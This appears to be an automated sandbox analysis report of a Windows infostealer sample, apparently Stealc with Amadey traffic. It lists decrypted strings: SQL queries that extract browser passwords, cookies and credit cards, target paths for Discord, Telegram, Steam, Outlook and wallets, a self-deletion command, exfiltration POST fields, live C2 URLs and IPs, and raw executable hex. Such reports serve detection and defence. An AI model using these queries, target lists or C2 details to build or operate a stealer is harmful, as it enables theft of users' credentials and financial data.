Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.690000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.690000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.690000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.690000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.690000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.690000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.690000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.690000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.690000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.690000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.690000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.690000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.690000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.690000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.690000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.690000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.690000.0.unpack	String decryptor: history
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.690000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.690000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.690000.0.unpack	String decryptor: History
Source: 0.2.file.exe.690000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.690000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.690000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.690000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.690000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.690000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.690000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.690000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.690000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.690000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.690000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.690000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.690000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.690000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.690000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.690000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.690000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.690000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.690000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.690000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.690000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.690000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.690000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.690000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.690000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.690000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.690000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.690000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.690000.0.unpack	String decryptor: open
Source: 0.2.file.exe.690000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.690000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.690000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.690000.0.unpack	String decryptor: files
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.690000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.690000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.690000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.690000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.690000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.690000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.690000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.690000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.690000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.690000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.690000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.690000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.690000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.690000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.690000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.690000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.690000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.690000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.690000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.690000.0.unpack	String decryptor: done
Source: 0.2.file.exe.690000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.690000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.690000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.690000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.690000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.690000.0.unpack	String decryptor: https
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.690000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.690000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.690000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.690000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.690000.0.unpack	String decryptor: build
Source: 0.2.file.exe.690000.0.unpack	String decryptor: token
Source: 0.2.file.exe.690000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.690000.0.unpack	String decryptor: file
Source: 0.2.file.exe.690000.0.unpack	String decryptor: message
Source: 0.2.file.exe.690000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.690000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C976C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CACA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC44C0 PK11_PubEncrypt,	0_2_6CAC44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA94420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CA94420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4440 PK11_PrivDecrypt,	0_2_6CAC4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB125B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CB125B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CAAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CAA8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CACA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CAEA730

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.231.128.66:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.83:443 -> 192.168.2.6:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.32:443 -> 192.168.2.6:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49980 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2796476323.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50024 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50029

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 06 Dec 2024 23:15:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
